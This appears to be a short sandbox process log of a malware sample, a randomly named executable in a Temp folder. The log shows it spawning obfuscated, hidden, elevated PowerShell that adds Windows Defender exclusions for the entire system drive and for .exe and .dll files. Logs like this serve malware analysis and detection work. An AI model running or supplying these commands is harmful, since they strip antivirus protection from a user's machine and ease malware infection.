zdkecjb7.exe "C:\Users\test22\AppData\Local\Temp\zdkecjb7.exe"
2084powershell.exe powershell "Start-Process <#akygaezflrody#> powershell <#akygaezflrody#> -Verb <#akygaezflrody#> runAs" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'
2800powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force
2928explorer.exe C:\Windows\Explorer.EXE
1236